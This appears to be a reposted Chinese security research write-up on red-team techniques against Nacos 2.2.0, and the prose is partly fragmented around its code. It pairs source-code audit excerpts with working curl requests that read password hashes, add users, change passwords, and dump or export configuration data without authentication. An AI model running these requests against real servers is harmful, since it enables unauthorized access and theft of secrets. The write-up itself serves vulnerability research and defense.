组件简介
历史漏洞
2.2.0 (Dec 14, 2022)
,我们就来一探究竟。部署方式
为了方便起见,我这里使用Debian系统并采用的单机部署的方式。
sudo apt-get update
sudo apt-get install default-jdk
sudo ufw disable
wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.zip
unzip nacos-server-2.2.0.zip
cd nacos/bin
bash startup.sh -m standalone
curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'
caused: Parameter conditions "search=blur" OR "search=accurate" not met for actual request parameters: pageNo={1}, pageSize={9};%
search=blur
或者search=accurate
,那我们加上再试试看。curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur' -H 'User-Agent: Nacos-Server'
curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'
未开启auth
读取用户账号密码
curl -X GET 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur'
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}
未授权添加用户
curl -X POST 'http://192.168.20.144:8848/nacos/v1/auth/users?username=test1&password=test1'
{"code":200,"message":null,"data":"create user ok!"}
任意用户密码更改
curl -X PUT 'http://192.168.20.144:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'
代码审计
nacos/config/src/main/java/com/alibaba/nacos/config/server/constant/Constants.java
和nacos/core/src/main/java/com/alibaba/nacos/core/utils/Commons.java
文件下,有相关路由的定义,相关代码如下:public static final String BASE_PATH = "/v1/cs";
public static final String BASE_V2_PATH = "/v2/cs";
public static final String OPS_CONTROLLER_PATH = BASE_PATH + "/ops";
public static final String CAPACITY_CONTROLLER_PATH = BASE_PATH + "/capacity";
public static final String COMMUNICATION_CONTROLLER_PATH = BASE_PATH + "/communication";
public static final String CONFIG_CONTROLLER_PATH = BASE_PATH + "/configs";
public static final String CONFIG_CONTROLLER_V2_PATH = BASE_V2_PATH + "/config";
public static final String HEALTH_CONTROLLER_PATH = BASE_PATH + "/health";
public static final String HISTORY_CONTROLLER_PATH = BASE_PATH + "/history";
public static final String HISTORY_CONTROLLER_V2_PATH = BASE_V2_PATH + "/history";
public static final String LISTENER_CONTROLLER_PATH = BASE_PATH + "/listener";
public static final String NAMESPACE_CONTROLLER_PATH = BASE_PATH + "/namespaces";
public static final String METRICS_CONTROLLER_PATH = BASE_PATH + "/metrics";
public final class Commons {
public static final String NACOS_SERVER_CONTEXT = "/nacos";
public static final String NACOS_SERVER_VERSION = "/v1";
public static final String NACOS_SERVER_VERSION_V2 = "/v2";
public static final String DEFAULT_NACOS_CORE_CONTEXT = NACOS_SERVER_VERSION + "/core";
public static final String NACOS_CORE_CONTEXT = DEFAULT_NACOS_CORE_CONTEXT;
public static final String NACOS_CORE_CONTEXT_V2 = NACOS_SERVER_VERSION_V2 + "/core";
}
获取配置数据
curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.example&group=com.alibaba.nacos'
事实真的是这样吗?
/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java
文件中369行开始的代码。/**
* Query the configuration information and return it in JSON format.
*/
@GetMapping(params = "search=accurate")
@Secured(action = ActionTypes.READ, signType = SignType.CONFIG)
public Page<ConfigInfo> searchConfig(@RequestParam("dataId") String dataId, @RequestParam("group") String group,
@RequestParam(value = "appName", required = false) String appName,
@RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
@RequestParam(value = "config_tags", required = false) String configTags,
@RequestParam("pageNo") int pageNo, @RequestParam("pageSize") int pageSize) {
Map<String, Object> configAdvanceInfo = new HashMap<>(100);
if (StringUtils.isNotBlank(appName)) {
configAdvanceInfo.put("appName", appName);
}
if (StringUtils.isNotBlank(configTags)) {
configAdvanceInfo.put("config_tags", configTags);
}
try {
return configInfoPersistService.findConfigInfo4Page(pageNo, pageSize, dataId, group, tenant, configAdvanceInfo);
} catch (Exception e) {
String errorMsg = "serialize page error, dataId=" + dataId + ", group=" + group;
LOGGER.error(errorMsg, e);
throw new RuntimeException(errorMsg, e);
}
}
/**
* Fuzzy query configuration information. Fuzzy queries based only on content are not allowed, that is, both dataId
* and group are NULL, but content is not NULL. In this case, all configurations are returned.
*/
@GetMapping(params = "search=blur")
@Secured(action = ActionTypes.READ, signType = SignType.CONFIG)
public Page<ConfigInfo> fuzzySearchConfig(@RequestParam("dataId") String dataId,
@RequestParam("group") String group, @RequestParam(value = "appName", required = false) String appName,
@RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
@RequestParam(value = "config_tags", required = false) String configTags,
@RequestParam("pageNo") int pageNo, @RequestParam("pageSize") int pageSize) {
MetricsMonitor.getFuzzySearchMonitor().incrementAndGet();
Map<String, Object> configAdvanceInfo = new HashMap<>(50);
if (StringUtils.isNotBlank(appName)) {
configAdvanceInfo.put("appName", appName);
}
if (StringUtils.isNotBlank(configTags)) {
configAdvanceInfo.put("config_tags", configTags);
}
try {
return configInfoPersistService.findConfigInfoLike4Page(pageNo, pageSize, dataId, group, tenant, configAdvanceInfo);
} catch (Exception e) {
String errorMsg = "serialize page error, dataId=" + dataId + ", group=" + group;
LOGGER.error(errorMsg, e);
throw new RuntimeException(errorMsg, e);
}
}
signType = SignType.CONFIG
的权限检查,这里的signType的一个作用就是检查auth是否开启,但是之前也提到过,auth是默认不开启的。接着我们继续分析,当参数search=accurate
时,从GET请求中获取参数dataId
、group
、appName
、tenant
、config_tags
、pageNo
、pageSize
参数,其中appName
、tenant
、config_tags
不是必填的,接着先检查appName
和configTags
是否为空,我们直接留空或者不填就能绕过这个判断,然后接下来就是迷之操作了,直接给我全部返回了。curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’
或者,
curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’
public
里面的数据,但是现在有大聪明已经学会了不把数据放到默认的public,而是自己重新建一个namespace,再把企业的相关配置放在里面,这里留个伏笔,我们接着往下看。获取其他Namespace的配置数据
curl -X GET 'http://192.168.20.144:8848/nacos/v1/console/namespaces'
nacos/console/src/main/java/com/alibaba/nacos/console/controller/NamespaceController.java
这里,我们看从48行开始的代码,相关代码如下:@RestController
@RequestMapping("/v1/console/namespaces")
public class NamespaceController {
@Autowired
private CommonPersistService commonPersistService;
@Autowired
private NamespaceOperationService namespaceOperationService;
private final Pattern namespaceIdCheckPattern = Pattern.compile("^[\w-]+");
private static final int NAMESPACE_ID_MAX_LENGTH = 128;
/**
* Get namespace list.
*
* @return namespace list
*/
@GetMapping
public RestResult<List<Namespace>> getNamespaces() {
return RestResultUtils.success(namespaceOperationService.getNamespaceList());
}
namespaceOperationService.getNamespaceList()
public List<Namespace> getNamespaceList() {
// TODO 获取用kp
List<TenantInfo> tenantInfos = commonPersistService.findTenantByKp(DEFAULT_KP);
Namespace namespace0 = new Namespace("", DEFAULT_NAMESPACE, DEFAULT_QUOTA,
configInfoPersistService.configInfoCount(DEFAULT_TENANT), NamespaceTypeEnum.GLOBAL.getType());
List<Namespace> namespaceList = new ArrayList<>();
namespaceList.add(namespace0);
for (TenantInfo tenantInfo : tenantInfos) {
int configCount = configInfoPersistService.configInfoCount(tenantInfo.getTenantId());
Namespace namespaceTmp = new Namespace(tenantInfo.getTenantId(), tenantInfo.getTenantName(),
tenantInfo.getTenantDesc(), DEFAULT_QUOTA, configCount, NamespaceTypeEnum.CUSTOM.getType());
namespaceList.add(namespaceTmp);
}
return namespaceList;
}
namespace
、namespaceShowNmae
,我们就可以根据之前的API光明正大的进行读取操作了,这里有个小技巧,之前读取配置里面的tenant
参数获取的就是namespce
,我们直接把tenant=test_namespace
加进去构造请求,轻松读取到非public空间的数据。curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=test_namespace'
配置文件导出
/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java
http://192.168.20.144:8848/nacos/v1/cs/configs?export=true&tenant=test_namespace&group=&appName=&ids=
后记
Data Id
以及 Group
才能读到具体配置,但是攻击者总能够通过代码审计的方法找到其他参数进行绕过。参考链接
原文始发于微信公众号(默安逐日实验室):云原⽣组件Nacos新型红队手法研究